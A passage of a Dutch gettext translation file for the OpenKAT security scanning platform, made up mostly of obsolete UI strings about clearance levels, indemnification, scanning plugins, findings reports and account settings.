niveau 1 is vereist. Dit betekent dat de scan het object zelf niet \"\n#~ \"aanraakt, maar alleen zoekt naar informatie over het object.\"\n\n#~ msgid \"\"\n#~ \"An example of a more aggressive scan. Which has a scan intensity score of \"\n#~ \"3. Meaning it requires at least a level 3 clearance level to be set on \"\n#~ \"your object.\"\n#~ msgstr \"\"\n#~ \"Een voorbeeld van een agressievere scan. Die heeft een \"\n#~ \"scanintensiteitsscore van 3. Dit betekent dat er ten minste een \"\n#~ \"vrijwaringsniveau 3 is vereist voor het object.\"\n\n#, fuzzy\n#~ msgid \"\"\n#~ \"OpenKAT has a permission system that allows administrators to configure \"\n#~ \"which users can set a certain clearance level. The will make sure that \"\n#~ \"only users that are trusted can start the more aggressive scans.\"\n#~ msgstr \"\"\n#~ \"OpenKAT heeft een rechtensysteem dat beheerders toestaat in te stellen \"\n#~ \"welke gebruikers welke vrijwaringsniveaus mogen instellen. Dit borgt dat \"\n#~ \"alleen vertrouwde gebruikers agressievere scan kunnen starten.\"\n\n#~ msgid \"Acknowledge clearance level\"\n#~ msgstr \"Vrijwaringsniveau bevestigen\"\n\n#~ msgid \"\"\n#~ \"Before a member is granted the ability to set clearance levels on an \"\n#~ \"object, they must first acknowledge and accept the clearance level set by \"\n#~ \"the administrators. The maximum scanning level permitted for a member is \"\n#~ \"aligned with the trusted clearance level. By acknowledging the trusted \"\n#~ \"clearance level, this member formally agrees to abide by this permission \"\n#~ \"and gains the capability to perform scans only up to this trusted \"\n#~ \"clearance level. This two-step process ensures that the member operates \"\n#~ \"within authorized boundaries.\"\n#~ msgstr \"\"\n#~ \"Voordat een lid de mogelijkheid krijgt om vrijwaringsniveaus in te \"\n#~ \"stellen op een object, moet het eerst het vrijwaringsniveau dat is \"\n#~ \"ingesteld door de beheerders erkennen en accepteren. Het maximaal \"\n#~ \"toegestane scanniveau voor een lid is afgestemd op het vertrouwde \"\n#~ \"vrijwaringsniveau. Door het vertrouwde vrijwaringsniveau te bevestigen, \"\n#~ \"gaat het lid formeel akkoord met deze toestemming en krijgt het de \"\n#~ \"mogelijkheid om alleen scans uit te voeren tot dit vertrouwde \"\n#~ \"vrijwaringsniveau. Dit proces in twee stappen zorgt ervoor dat het lid \"\n#~ \"binnen de geautoriseerde grenzen werkt.\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"Your administrator has <strong>trusted</strong> you with a clearance \"\n#~ \"level of <strong>L%(tcl)s</strong>. </br> You have also \"\n#~ \"<strong>acknowledged</strong> to use this clearance level of \"\n#~ \"<strong>L%(acl)s</strong>.\"\n#~ msgstr \"\"\n#~ \"De beheerder heeft je <strong>vertrouwd</strong> met vrijwaringsniveau \"\n#~ \"<strong>L%(tcl)s</strong>. </br> Je hebt het gebruik van dit \"\n#~ \"vrijwaringsniveau <strong>L%(acl)s</strong> ook <strong>geaccepteerd</\"\n#~ \"strong>.\"\n\n#~ msgid \"Setup scan - Set clearance level for\"\n#~ msgstr \"Opzet scan – Vrijwaringsniveau instellen voor\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"After creating a new object OpenKAT will ask you to set a clearance \"\n#~ \"level. On the object detail page you can always change the clearance \"\n#~ \"level. For the onboarding we will suggest to set the clearance level to \"\n#~ \"L%(dns_report_least_clearance_level)s.\"\n#~ msgstr \"\"\n#~ \"Na het maken van een nieuw object zal OpenKAT u vragen een \"\n#~ \"vrijwaringsniveau in te stellen. Op de objectdetailpagina kunt u altijd \"\n#~ \"het vrijwaringsniveau wijzigen. Voor de onboarding stellen wij voor het \"\n#~ \"vrijwaringsniveau op L%(dns_report_least_clearance_level)s in te stellen.\"\n\n#~ msgid \"Setup scan - Enable plugins\"\n#~ msgstr \"Scan opzetten – Plug-ins activeren\"\n\n#~ msgid \"Plugins introduction\"\n#~ msgstr \"Introductie plug-ins\"\n\n#~ msgid \"\"\n#~ \"OpenKAT uses plugins to scan, check and analyze. Each plugin will bring a \"\n#~ \"specific skillset that will help to generate your report. There are three \"\n#~ \"types of plugins.\"\n#~ msgstr \"\"\n#~ \"OpenKAT gebruikt plug-ins om te scannen, te controleren en te analyseren. \"\n#~ \"Elke plug-in heeft specifieke vaardigheden die helpen bij het genereren \"\n#~ \"van uw rapport. Er zijn drie soorten plug-ins.\"\n\n#~ msgid \"Boefjes:\"\n#~ msgstr \"Boefjes:\"\n\n#~ msgid \"\"\n#~ \"Scan objects for data. Each boefje has a scan intensity score to prevent \"\n#~ \"invasive scanning on objects where you don’t have the clearance to do so.\"\n#~ msgstr \"\"\n#~ \"Objecten scannen voor gegevens. Elke Boefje heeft een vrijwaringsniveau \"\n#~ \"om te zorgen dat objecten niet te agressief worden gescand.\"\n\n#~ msgid \"Normalizers:\"\n#~ msgstr \"Normalizers:\"\n\n#~ msgid \"\"\n#~ \"Check the data for specific objects and add these object to your object \"\n#~ \"list.\"\n#~ msgstr \"\"\n#~ \"Controleer de gegevens voor specifieke objecten en voeg deze toe aan uw \"\n#~ \"objectenlijst.\"\n\n#~ msgid \"Bits:\"\n#~ msgstr \"Bits:\"\n\n#~ msgid \"Analyze the available data to come to insights and conclusions.\"\n#~ msgstr \"\"\n#~ \"Bits zijn de bedrijfsregels die de objecten analyseren en conclusies \"\n#~ \"trekken.\"\n\n#~ msgid \"\"\n#~ \"OpenKAT will be able to generate a full report when all the required and \"\n#~ \"suggested plugins are enabled. If you choose not to give a plugin \"\n#~ \"permission to run, the data that plugin would collect or produce will be \"\n#~ \"left out of the report which will then be generated based on the \"\n#~ \"available data collected by the enabled plugins. Below are the suggested \"\n#~ \"and required plugins for this report.\"\n#~ msgstr \"\"\n#~ \"OpenKAT kan een volledig rapport genereren wanneer alle vereiste en \"\n#~ \"voorgestelde plug-ins zijn ingeschakeld. Als u ervoor kiest om een plug-\"\n#~ \"in geen toestemming te geven om te draaien, dan worden de gegevens die de \"\n#~ \"plug-in zou verzamelen of produceren buiten het rapport gehouden. Het \"\n#~ \"rapport wordt dan gegenereerd op basis van de beschikbare gegevens die \"\n#~ \"zijn verzameld door de ingeschakelde plug-ins. Hieronder staan de \"\n#~ \"voorgestelde en vereiste plug-ins voor dit rapport.\"\n\n#~ msgid \"Let’s setup your scan by enabling the plugins of your choice below.\"\n#~ msgstr \"\"\n#~ \"Laten we uw scan instellen door de plug-ins van uw keuze hieronder in te \"\n#~ \"schakelen.\"\n\n#~ msgid \"Required and suggested plugins\"\n#~ msgstr \"Vereiste en voorgesteld plug-ins\"\n\n#~ msgid \"Enable and start scan\"\n#~ msgstr \"Inschakelen en scan starten\"\n\n#~ msgid \"\"\n#~ \"The enabled boefjes are collecting the data needed to generate the DNS-\"\n#~ \"report. This may take some time based on the type of scans and the number \"\n#~ \"of objects found. For the current scan we expect boefjes to take about 3 \"\n#~ \"minutes.\"\n#~ msgstr \"\"\n#~ \"De ingeschakelde boefjes verzamelen de gegevens die nodig zijn om het DNS-\"\n#~ \"rapport te genereren. Dit kan enige tijd duren, afhankelijk van het type \"\n#~ \"scans en het aantal gevonden objecten. Dit duurt voor deze scan naar \"\n#~ \"verwachting ongeveer 3 minuten.\"\n\n#~ msgid \"\"\n#~ \"During this introduction we ask you to wait till the scan is ready. After \"\n#~ \"which you can view the report.\"\n#~ msgstr \"\"\n#~ \"Tijdens de introductie vragen we u om te wachten tot de scan is voltooid.\"\n\n#~ msgid \"\"\n#~ \"After the onboarding, boefjes run in the background. This enables you to \"\n#~ \"use OpenKAT in the meantime without waiting for scans to finish. When you \"\n#~ \"would like to see the status of a scan you can open the \\\"tasks\\\" page.\"\n#~ msgstr \"\"\n#~ \"Na de onboarding draaien Boefjes op de achtergrond. Hierdoor kunt u \"\n#~ \"OpenKAT ondertussen gebruiken zonder te wachten tot de scans klaar zijn. \"\n#~ \"Wanneer u de status van een scan wilt zien kunt u de pagina ‘taken’ \"\n#~ \"openen.\"\n\n#~ msgid \"Open my DNS-report\"\n#~ msgstr \"DNS-rapport openen\"\n\n#~ msgid \"1: Introduction\"\n#~ msgstr \"1: Introductie\"\n\n#~ msgid \"2: Choose a report\"\n#~ msgstr \"2: Kies een rapport\"\n\n#~ msgid \"3: Setup scan\"\n#~ msgstr \"3: Start de scan\"\n\n#~ msgid \"4: Open report\"\n#~ msgstr \"4: Rapport openen\"\n\n#~ msgid \"3: Indemnification\"\n#~ msgstr \"3. Vrijwaring\"\n\n#~ msgid \"4: Account setup\"\n#~ msgstr \"4: Account instellen\"\n\n#~ msgid \"OpenKAT Setup\"\n#~ msgstr \"OpenKAT instellen\"\n\n#, python-brace-format\n#~ msgid \"{name} successfully created.\"\n#~ msgstr \"{name} met succes aangemaakt.\"\n\n#~ msgid \"The name of the organisation\"\n#~ msgstr \"De naam van de organisatie\"\n\n#~ msgid \"\"\n#~ \"A slug containing only lower-case unicode letters, numbers, hyphens or \"\n#~ \"underscores that will be used in URLs and paths\"\n#~ msgstr \"\"\n#~ \"Een slug die alleen kleine unicode letters, cijfers, koppeltekens of \"\n#~ \"underscores bevat en die zal worden gebruikt in URL’s en paden\"\n\n#~ msgid \"Add finding type:\"\n#~ msgstr \"Bevindingstype toevoegen:\"\n\n#~ msgid \"Add finding:\"\n#~ msgstr \"Bevinding toevoegen:\"\n\n#~ msgid \"\"\n#~ \"Here, an indemnification can be given on behalf of your organization:\"\n#~ msgstr \"Geef hier een vrijwaring namens uw organisatie:\"\n\n#~ msgid \"\"\n#~ \"Before you're able to add assets to OpenKAT and to assign clearance \"\n#~ \"levels, you have to give indemnification on the organization and declare \"\n#~ \"that you as a person can be held accountable.\"\n#~ msgstr \"\"\n#~ \"Voordat u assets kunt toevoegen aan OpenKAT en vrijwaringsniveaus kunt \"\n#~ \"toekennen, moet u een vrijwaring geven over de organisatie en verklaren \"\n#~ \"dat u als persoon aansprakelijk kunt worden gesteld.\"\n\n#~ msgid \"Register an indemnification\"\n#~ msgstr \"Registreer een vrijwaring\"\n\n#~ msgid \"Add Finding\"\n#~ msgstr \"Bevinding toevoegen\"\n\n#, fuzzy\n#~ msgid \"\"\n#~ \"There are no dashboard items added yet. You can add dashboard items via \"\n#~ \"the filters on the objects and findings page.\"\n#~ msgstr \"\"\n#~ \"Er zijn nog geen dashboard-items toegevoegd. Voeg dashboard-items toe via \"\n#~ \"de filters op de objecten- en bevindingenpagina\"\n\n#, fuzzy\n#~ msgid \"\"\n#~ \"Dashboard does not exist. Choose an existing dashboard or create a new \"\n#~ \"one.\"\n#~ msgstr \"\"\n#~ \"Dashboard bestaat niet. Kies een bestaand dashboard of maak een nieuw \"\n#~ \"dashboard aan.\"\n\n#, fuzzy, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"            Add %(item_type)s to dashboard\\n\"\n#~ \"        \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"            Voeg %(item_type)s toe aan dashboard\\n\"\n#~ \"        \"\n\n#, fuzzy, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"        Add these %(item_type)s with the selected filters\\n\"\n#~ \"        to the dashboard of your choice.\\n\"\n#~ \"    \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"        Voeg deze %(item_type)s via de geselecteerde filters\\n\"\n#~ \"\\n\"\n#~ \"        toe aan het dashboard van uw keuze.\\n\"\n#~ \"    \"\n\n#, fuzzy\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                                This chapter contains information about \"\n#~ \"the findings that have been identified\\n\"\n#~ \"                                for this organization.\\n\"\n#~ \"                            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                                Dit Hoofdstuk bevat informatie over de \"\n#~ \"geïdentificeerde bevindingen\\n\"\n#~ \"\\n\"\n#~ \"                                voor deze organisatie.\\n\"\n#~ \"                            \"\n\n#~ msgid \"Observed at:\"\n#~ msgstr \"Gezien op:\"\n\n#~ msgid \"Created by:\"\n#~ msgstr \"Aangemaakt door:\"\n\n#, fuzzy\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                                                This table shows the top \"\n#~ \"25 critical and high findings that have\\n\"\n#~ \"                                                been identified for this \"\n#~ \"organization, grouped by finding types.\\n\"\n#~ \"                                                A table with all the \"\n#~ \"identified findings can be found in the Findings Report.\\n\"\n#~ \"                                            \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                                                Deze tabel toont de top \"\n#~ \"25 kritieke en hoog-niveau bevindingen die\\n\"\n#~ \"\\n\"\n#~ \"                                                voor deze organisatie \"\n#~ \"gevonden zijn, gegroepeerd per bevindingstype.\\n\"\n#~ \"\\n\"\n#~ \"                                                Een tabel met alle \"\n#~ \"gevinden bevindingen is te vinden in het Bevindingenrapport.\\n\"\n#~ \"                                            \"\n\n#~ msgid \"\"\n#~ \"The secure connections report provides an overview of the performed \"\n#~ \"checks with regard to encrypted communication channels such as HTTPS. The \"\n#~ \"table below gives an overview of the available checks including whether \"\n#~ \"the system passed the performed checks. The risk level and reasoning as \"\n#~ \"to why an issue was identified are shown too. The risk level may be \"\n#~ \"different for your specific environment.\"\n#~ msgstr \"\"\n#~ \"Het rapport beveiligde verbindingen geeft een overzicht van de \"\n#~ \"uitgevoerde controles met betrekking tot versleutelde communicatiekanalen \"\n#~ \"zoals HTTPS. De tabel hieronder geeft een overzicht van de beschikbare \"\n#~ \"controles inclusief of het systeem de uitgevoerde controles heeft \"\n#~ \"doorstaan. Het risiconiveau en redenen waarom er een probleem is \"\n#~ \"geïdentificeerd worden ook getoond. Het risiconiveau is misschien anders \"\n#~ \"voor uw specifieke omgeving.\"\n\n#~ msgid \"Crisis Room overview for all organizations.\"\n#~ msgstr \"Crisiscentrum overzicht voor alle organisaties.\"\n\n#, fuzzy\n#~ msgid \"\"\n#~ \"There are no dashboard items added yet. You can add dashboard items via \"\n#~ \"the objects and findings page.\"\n#~ msgstr \"\"\n#~ \"Er zijn nog geen dashboard-items toegevoegd. Voeg dashboard items toe via \"\n#~ \"de objects- en findings-pagina's.\"\n\n#~ msgid \"\"\n#~ \"To generate a report you can start by selecting report types or by \"\n#~ \"selecting objects.\"\n#~ msgstr \"\"\n#~ \"Om een rapport te genereren begint u met het selecteren van de gewenste \"\n#~ \"rapporten of objecten.\"\n\n#~ msgid \"Report Navigation\"\n#~ msgstr \"Rapportnavigatie\"\n\n#~ msgid \"Aggregate Report\"\n#~ msgstr \"Rapport aggregeren\"\n\n#~ msgid \"Multi Report\"\n#~ msgstr \"Multi-rapport\"\n\n#~ msgid \"Unmute Findings\"\n#~ msgstr \"Bevindingen dempen opheffen\"\n\n#~ msgid \"Mute Findings\"\n#~ msgstr \"Bevindingen dempen\"\n\n#~ msgid \"Mute Finding\"\n#~ msgstr \"Bevinding dempen\"\n\n#~ msgid \"Account Type\"\n#~ msgstr \"Accounttype\"\n\n#~ msgid \"Every member of OpenKAT must be part of an account type.\"\n#~ msgstr \"Elk lid van OpenKAT moet deel uitmaken van een accounttype.\"\n\n#~ msgid \"Source OOI\"\n#~ msgstr \"Bron OOI\"\n\n#~ msgid \"Manual creation\"\n#~ msgstr \"Handmatig toevoegen\"\n\n#~ msgid \" member account setup\"\n#~ msgstr \" ledenaccount instellen\"\n\n#~ msgid \"Member details\"\n#~ msgstr \"Details lid\"\n\n#~ msgid \"Member account type setup\"\n#~ msgstr \"Accounttype lid instellen\"\n\n#~ msgid \"Choose an account type for this new member.\"\n#~ msgstr \"Kies een accounttype voor dit nieuwe lid.\"\n\n#~ msgid \"Account type details\"\n#~ msgstr \"Accounttypedetails\"\n\n#~ msgid \"Upload a csv file with members for organisation\"\n#~ msgstr \"Upload een CSV-bestand met leden voor uw organisatie\"\n\n#~ msgid \"Download the template\"\n#~ msgstr \"Sjabloon downloaden\"\n\n#~ msgid \"or create a csv file with the following criteria\"\n#~ msgstr \"of maak een CSV-bestand met de volgende criteria\"\n\n#~ msgid \"Shown status types\"\n#~ msgstr \"Getoonde typen\"\n\n#~ msgid \"Blocked status\"\n#~ msgstr \"Geblokkeerde status\"\n\n#~ msgid \"Type select\"\n#~ msgstr \"Type selecteren\"\n\n#~ msgid \"Add Account Type\"\n#~ msgstr \"Accounttype toevoegen\"\n\n#~ msgid \"Add Member\"\n#~ msgstr \"Lid toevoegen\"\n\n#~ msgid \"\"\n#~ \"An overview of the top 10 most severe findings OpenKAT found. Check the \"\n#~ \"detail section for additional severity information.\"\n#~ msgstr \"\"\n#~ \"Een overzicht van de top 10 meest ernstige bevindingen die OpenKAT heeft \"\n#~ \"gevonden. Bekijk de detailsectie voor aanvullende informatie over de \"\n#~ \"ernst.\"\n\n#~ msgid \"Top 10 most severe Findings\"\n#~ msgstr \"Top 10 meest ernstige bevindingen\"\n\n#~ msgid \"Showing \"\n#~ msgstr \"Toont \"\n\n#~ msgid \"findings\"\n#~ msgstr \"bevindingen\"\n\n#~ msgid \"Findings table\"\n#~ msgstr \"Bevindingentabel\"\n\n#~ msgid \"Finding type:\"\n#~ msgstr \"Bevindingstype:\"\n\n#~ msgid \"OOI type:\"\n#~ msgstr \"OOI-type:\"\n\n#~ msgid \"Source OOI:\"\n#~ msgstr \"Bron OOI:\"\n\n#~ msgid \"Download report\"\n#~ msgstr \"Rapport downloaden\"\n\n#~ msgid \"Schedule {}\"\n#~ msgstr \"Schema {}\"\n\n#~ msgid \"KAT-alogus Settings\"\n#~ msgstr \"KAT-alogus-instellingen\"\n\n#~ msgid \"\"\n#~ \"There are currently no settings defined. Add settings at plugin detail \"\n#~ \"page.\"\n#~ msgstr \"\"\n#~ \"Er zijn op dit moment geen instellingen. Voeg instellingen toe bij de \"\n#~ \"plug-indetailpagina.\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"These are the findings of a OpenKAT-analysis (%(observed_at)s). Click a \"\n#~ \"finding for more detailed information about the issue, its origin, \"\n#~ \"severity and possible solutions.\"\n#~ msgstr \"\"\n#~ \"Dit zijn de bevindingen van een OpenKAT-analyse (%(observed_at)s). Klik \"\n#~ \"op een bevinding voor meer gedetailleerde informatie over het probleem, \"\n#~ \"de oorsprong, ernst en mogelijke oplossingen.\"\n\n#~ msgid \"DNS Tree\"\n#~ msgstr \"DNS-boom\"\n\n#~ msgid \"Overview of reports\"\n#~ msgstr \"Overzicht van rapporten\"\n\n#~ msgid \"Total findings:\"\n#~ msgstr \"Totaal aantal bevindingen:\"\n\n#~ msgid \"Organization:\"\n#~ msgstr \"Organisatie:\"\n\n#~ msgid \"An overview of\"\n#~ msgstr \"Een overzicht van\"\n\n#~ msgid \"object type\"\n#~ msgstr \"objecttype\"\n\n#~ msgid \"\"\n#~ \"This shows general information and its related objects. It also gives the \"\n#~ \"possibility to add additional related objects, or to scan for them.\"\n#~ msgstr \"\"\n#~ \"Dit toont algemene informatie en gerelateerde objecten. Het geeft ook de \"\n#~ \"mogelijkheid om aanvullende gerelateerde objecten toe te voegen of om ze \"\n#~ \"te scannen.\"\n\n#~ msgid \"See:\"\n#~ msgstr \"Bekijk:\"\n\n#~ msgid \"Unique\"\n#~ msgstr \"Uniek\"\n\n#~ msgid \"There are no tasks for boefjes\"\n#~ msgstr \"Er zijn geen taken voor Boefjes\"\n\n#~ msgid \"List of tasks for boefjes\"\n#~ msgstr \"Takenlijst van Boefjes\"\n\n#~ msgid \"There are no tasks for normalizers\"\n#~ msgstr \"Er zijn geen taken voor normalizers\"\n\n#~ msgid \"List of tasks for normalizers\"\n#~ msgstr \"Lijst van taken voor normalizers\"\n\n#~ msgid \"There have been no tasks\"\n#~ msgstr \"Er zijn geen taken geweest\"\n\n#, python-format\n#~ msgid \"\"\n#~ \"An overview of the tasks for %(organization)s. Tasks are divided in \"\n#~ \"Boefjes, Normalizers and Reports. Boefjes scan objects and Normalizers \"\n#~ \"dispatch on the output mime-type. Additionally, there is a Report tasks. \"\n#~ \"This task aggregates and presents findings from both Boefjes and \"\n#~ \"Normalizers.\"\n#~ msgstr \"\"\n#~ \"Een overzicht van de taken voor %(organization)s. Taken zijn \"\n#~ \"onderverdeeld in Boefjes, Normalizers en Rapporten. Boefjes scannen naar \"\n#~ \"objecten en Normalizers doen de vervolgafhandeling gebaseerd op de output \"\n#~ \"mime-type. Aanvullend aggregeert en presenteert de Rapportage taak de \"\n#~ \"bevindingen van zowel Boefjes als Normalizers.\"\n\n#~ msgid \"There are no tasks for reports\"\n#~ msgstr \"Er zijn geen taken voor rapportages\"\n\n#~ msgid \"List of tasks for reports\"\n#~ msgstr \"Takenlijst voor rapportages\"\n\n#~ msgid \"Your password must contain at least the following:\"\n#~ msgstr \"Uw wachtwoord moet ten minste het volgende bevatten:\"\n\n#~ msgid \" special characters such as: \"\n#~ msgstr \" speciale tekens, zoals: \"\n\n#~ msgid \"\"\n#~ \"Failed to get list of findings for organization {}, check server logs for \"\n#~ \"more details.\"\n#~ msgstr \"\"\n#~ \"Kon lijst met bevindingen voor organisatie {} niet ophalen, controleer \"\n#~ \"serverlogboeken voor meer details.\"\n\n#, fuzzy\n#~ msgid \"You don't have permission to enable\"\n#~ msgstr \"Toestemming is nodig voor inschakeling van\"\n\n#~ msgid \"\"\n#~ \"Multiple hostnames that resolve to one IP address where at least one of \"\n#~ \"the hostnames or the IP address has a declared scan level that is at \"\n#~ \"least L1. Type systemen zijn webservers, mailservers, en nameservers \"\n#~ \"(DNS).\"\n#~ msgstr \"\"\n#~ \"Meerdere hostnamen die verwijzen naar één IP-adres, waarbij ten minste \"\n#~ \"een van de hostnamen of het IP-adres een gedeclareerd scanniveau heeft \"\n#~ \"dat ten minste L1 is. Systeemtypes zijn webservers, mailservers en \"\n#~ \"nameservers (DNS).\"\n\n#~ msgid \"\"\n#~ \"The Findings Report provides an overview of the identified findings on \"\n#~ \"the scanned systems. For each finding it shows the risk level and the \"\n#~ \"number of occurrences of the finding. Under the 'Details' section a \"\n#~ \"description, impact, recommendation and location of the finding can be \"\n#~ \"found. The risk level may be different for your specific environment.\"\n#~ msgstr \"\"\n#~ \"Het Bevindingenrapport geeft een overzicht van de geïdentificeerde \"\n#~ \"bevindingen op de gescande systemen. Voor elke bevinding wordt het \"\n#~ \"risiconiveau en het aantal gebeurtenissen van de bevinding getoond. Onder \"\n#~ \"de sectie ‘Details’ staat een beschrijving, impact, aanbeveling en \"\n#~ \"locatie van de bevinding. Het risiconiveau is wellicht anders voor uw \"\n#~ \"specifieke omgeving.\"\n\n#~ msgid \"(Required)\"\n#~ msgstr \"(Vereist)\"\n\n#~ msgid \"\"\n#~ \"An overview of all (critical) findings OpenKAT found. Check the detail \"\n#~ \"section for additional severity information.\"\n#~ msgstr \"\"\n#~ \"Een overzicht van alle (kritieke) bevindingen die OpenKAT heeft gevonden. \"\n#~ \"Bekijk de detailsectie voor aanvullende informatie over de ernst van de \"\n#~ \"bevindingen.\"\n\n#~ msgid \"Total Findings\"\n#~ msgstr \"Totaal aantal bevindingen\"\n\n#~ msgid \" Finding Details\"\n#~ msgstr \" Details bevindingen\"\n\n#~ msgid \"Top critical organizations\"\n#~ msgstr \"Topkritische organisaties\"\n\n#~ msgid \"Critical findings\"\n#~ msgstr \"Kritieke bevindingen\"\n\n#~ msgid \"Critical Findings\"\n#~ msgstr \"Kritieke bevindingen\"\n\n#~ msgid \"this field is required\"\n#~ msgstr \"Dit veld is verplicht\"\n\n#~ msgid \"This field is required\"\n#~ msgstr \"Dit veld is verplicht\"\n\n#~ msgid \"Generate Findings Report\"\n#~ msgstr \"Bevindingenrapport genereren\"\n\n#~ msgid \"Enable plugins and continue\"\n#~ msgstr \"Plug-ins inschakelen en doorgaan\"\n\n#, python-format\n#~ msgid \"Select object (%(total_oois)s)\"\n#~ msgid_plural \"Select objects (%(total_oois)s)\"\n#~ msgstr[0] \"Selecteer object (%(total_oois)s)\"\n#~ msgstr[1] \"Selecteer objecten (%(total_oois)s)\"\n\n#~ msgid \"Go to the object page\"\n#~ msgstr \"Ga naar de objectpagina\"\n\n#, python-format\n#~ msgid \"You have selected %(total_oois)s object in previous step.\"\n#~ msgid_plural \"You have selected %(total_oois)s objects in previous step.\"\n#~ msgstr[0] \"U hebt in de vorige stap %(total_oois)s object geselecteerd.\"\n#~ msgstr[1] \"U hebt in de vorige stap %(total_oois)s objecten geselecteerd.\"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            You don't have any clearance to scan objects.\"\n#~ \"<br>\\n\"\n#~ \"                            Get in contact with the admin to give you the \"\n#~ \"necessary clearance level.\\n\"\n#~ \"                        \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                            U hebt geen vrijwaring om objecten te scannen.\"\n#~ \"<br>\\n\"\n#~ \"               Neem contact op met de beheerder om u het nodige \"\n#~ \"vrijwaringsniveau te geven.\\n\"\n#~ \"                        \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            Withdraw L%(acl)s clearance and \"\n#~ \"responsibility\\n\"\n#~ \"                    \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                            L%(acl)s vrijwaringsniveau intrekken\\n\"\n#~ \"                    \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                        Accept level L%(tcl)s clearance and \"\n#~ \"responsibility\\n\"\n#~ \"                    \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                        \\\"Accepteer vrijwaringsniveau L%(tcl)s en \"\n#~ \"verantwoordelijkheid\\\"\\n\"\n#~ \"                    \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                        You can create a new Boefje. If you want more \"\n#~ \"information on this,\\n\"\n#~ \"                        you can check out the <a href=\\\"https://docs.\"\n#~ \"openkat.nl/developer_documentation/development_tutorial/creating_a_boefje.\"\n#~ \"html\\\">documentation</a>.\\n\"\n#~ \"                    \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                        U kunt een nieuw Boefje maken. Als u hier meer \"\n#~ \"info over wilt,\\n\"\n#~ \"                        kunt u de <a href=\\\"https://docs.openkat.nl/\"\n#~ \"developer_documentation/development_tutorial/creating_a_boefje.\"\n#~ \"html\\\">documentatie</a> nalezen.\\n\"\n#~ \"                    \"\n\n#, python-format\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"        Use the form below to clone the settings from \"\n#~ \"<i>%(current_organization)s</i> to the selected organization.\\n\"\n#~ \"        This includes both the KAT-alogus settings as well as enabled and \"\n#~ \"disabled plugins.\\n\"\n#~ \"      \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"        Gebruik onderstaand formulier om de instellingen te klonen van \"\n#~ \"<i>%(current_organization)s</i> naar de geselecteerde organisatie.\\n\"\n#~ \"        Dit omvat zowel de KAT-alogusinstellingen als ingeschakelde en \"\n#~ \"uitgeschakelde plug-ins.\\n\"\n#~ \"      \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                            Plugin available\\n\"\n#~ \"                        \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"                            Plugins available\\n\"\n#~ \"                        \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"                            Plug-in beschikbaar\\n\"\n#~ \"                        \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"                            Plug-ins beschikbaar\\n\"\n#~ \"                        \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                    Boefje variants that use the same container image. \"\n#~ \"For more\\n\"\n#~ \"                    information about Boefje variants you can read the \"\n#~ \"documentation.\\n\"\n#~ \"                \"\n#~ msgstr \"\"\n#~ \"\\n\"\n#~ \"                    Boefje-varianten die dezelfde containerafbeelding \"\n#~ \"gebruiken. Voor meer\\n\"\n#~ \"                    informatie over Boefje-varianten kunt u de \"\n#~ \"documentatie nalezen.\\n\"\n#~ \"                \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"            Add setting\\n\"\n#~ \"          \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"            Add settings\\n\"\n#~ \"          \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"            Instelling toevoegen\\n\"\n#~ \"          \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"            Instellingen toevoegen\\n\"\n#~ \"          \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"            Setting\\n\"\n#~ \"          \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"            Settings\\n\"\n#~ \"          \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"            Instelling\\n\"\n#~ \"          \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"            Instellingen\\n\"\n#~ \"          \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                  Add setting and enable boefje\\n\"\n#~ \"                \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"                  Add settings and enable boefje\\n\"\n#~ \"                \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"                  Instelling toevoegen en Boefje aanzetten\\n\"\n#~ \"                \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"                  Instellingen toevoegen en Boefje aanzetten\\n\"\n#~ \"                \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                Add setting\\n\"\n#~ \"              \"\n#~ msgid_plural \"\"\n#~ \"\\n\"\n#~ \"                Add settings\\n\"\n#~ \"              \"\n#~ msgstr[0] \"\"\n#~ \"\\n\"\n#~ \"                Instelling toevoegen\\n\"\n#~ \"              \"\n#~ msgstr[1] \"\"\n#~ \"\\n\"\n#~ \"                Instellingen toevoegen\\n\"\n#~ \"              \"\n\n#~ msgid \"\"\n#~ \"\\n\"\n#~ \"                        In the table below the settings for this specific \"\n#~ \"Boefje can be seen.\\n\"\n#~ \"                        Set or change the value of the variables by \"\n#~ \"editing the settings.\\n\"\n#~ \"                    \"\n#~ msgstr 